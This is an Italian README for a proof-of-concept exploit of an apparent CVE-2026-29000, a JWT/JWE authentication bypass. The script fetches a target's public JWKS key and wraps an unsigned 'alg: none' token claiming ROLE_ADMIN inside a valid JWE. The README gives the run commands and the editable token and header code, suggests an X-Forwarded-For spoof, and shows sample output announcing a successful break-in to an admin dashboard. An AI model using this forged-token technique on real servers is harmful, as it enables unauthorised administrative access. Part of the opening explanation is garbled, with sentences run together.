
PoC della CVE-2026-29000
Uno script Proof-of-Concept (PoC) che dimostra una vulnerabilità di bypass dell'autenticazione utilizzando JSON Web Token (JWT) e JSON Web Encryption (JWE). Questo strumento sfrutta ambienti che validano in modo improprio gli algoritmi dei token accettando JWT non verificati (alg: none) racchiusi all'interno di una struttura JWE valida.
Questa catena di exploit sfrutta un difetto crittografico comune:
jwks (JSON Web Key Set) pubblicamente esposto del target e scarica la chiave pubblica RSA del server.ROLE_ADMIN. Imposta intenzionalmente l'header dell'algoritmo su "alg": "none".Authorization: Bearer. Se il server decrittografa il JWE e si fida ciecamente del JWT interno senza verificarne la firma, l'accesso viene concesso.Prima di eseguire lo script, assicurati di avere Python 3 installato insieme alle dipendenze necessarie.
pip install requests jwcrypto
Lo script richiede due argomenti: l'URL della dashboard di destinazione che vuoi testare e l'URL in cui sono ospitate le chiavi pubbliche.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
A seconda del target, potresti dover modificare la struttura del token o le richieste HTTP per bypassare filtri specifici.
Se il server di destinazione si aspetta campi specifici all'interno del JWT stesso (come un header typ, o ID utente personalizzati nel payload), puoi aggiungerli facilmente.
Apri exploit.py e individua questa sezione:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Puoi aggiungere qualsiasi campo desideri separato da virgole. Ad esempio, per aggiungere un typ (Type) e un kid (Key ID) all'header del JWT, e una email personalizzata al payload:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Se il tuo target richiede header di rete specifici (come uno User-Agent personalizzato, header di bypass come X-Forwarded-For, o chiavi API), individua la richiesta di rete in fondo allo script:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Aggiungi i tuoi header di rete extra in questo modo:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Nota: Se hai bisogno che questi header vengano inviati anche durante il download iniziale della chiave pubblica, puoi passare lo stesso dizionario alla chiamata requests.get() all'inizio dello script.
In caso di successo, lo script restituirà il token falsificato e la risposta analizzata dall'endpoint ristretto, dimostrando il bypass:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
Errori HTTP 401/403: Il server di destinazione sta validando correttamente le firme e rifiutando il payload con alg: none. L'exploit è fallito perché il target è sicuro.
Errori di Connessione: Assicurati che gli URL forniti includano lo schema completo (http:// o https://) e che il server di destinazione sia attualmente raggiungibile.
Errori di Dipendenza: Assicurati che jwcrypto sia installato correttamente tramite pip.